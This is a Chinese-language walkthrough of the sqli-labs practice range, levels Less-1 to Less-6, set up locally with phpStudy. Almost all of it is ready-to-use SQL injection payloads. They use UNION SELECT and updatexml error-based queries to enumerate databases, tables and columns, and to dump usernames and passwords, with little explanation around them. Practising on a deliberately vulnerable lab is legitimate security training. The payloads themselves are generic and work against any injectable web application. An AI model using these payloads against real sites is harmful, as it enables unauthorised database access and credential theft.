一、靶场信息
sqli-labs下载：https://github.com/Audi-1/sqli-labs
phpstudy下载地址：http://down.php.cn/PhpStudy20180211.zip
我是在本地安装小皮搭建环境，相比于在服务器上搭建环境，更加简单
二、注入实操
Less-1
爆库名：http://127.0.0.1:100/Less-1/?id=-1' union select 1,2,database()--+
爆表名：?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆列名：?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
爆数据：?id=-1'union select 1,group_concat(username,0x3a,password),3 from users--+
Less-2
爆库名：?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1 union select 1,2,database()--+
爆表名：?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
爆列名：?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
爆数据：?id=-1 union select 1,group_concat(username,0x3a,password),3 from users--+
Less-3
爆库名：?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1') union select 1,2,database()--+
爆表名：?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
爆列名：?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
爆数据：?id=-1') union select 1,group_concat(username,0x3a,password),3 from users--+
Less-4
爆库名：?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1") union select 1,2,database()--+
爆表名：?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
爆列名：?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
爆数据：?id=-1") union select 1,group_concat(username,0x3a,password),3 from users--+
Less-5
爆库名：?id=1' and updatexml(1,concat(0x7e,database(), 0x7e),1)--+
爆表名：?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'), 0x7e),1)--+
字符过长，显示不全，使用substr函数进行截取：
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),1,32), 0x7e),1)--+
爆列名：?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'), 0x7e),1)--+
爆数据：?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+
字符过长，显示不全，使用substr函数进行截取：
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64),0x7e),1)--+
Less-6
爆库名：?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+
爆表名：?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'), 0x7e),1)--+ 
爆列名：?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'), 0x7e),1)--+
爆数据：?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+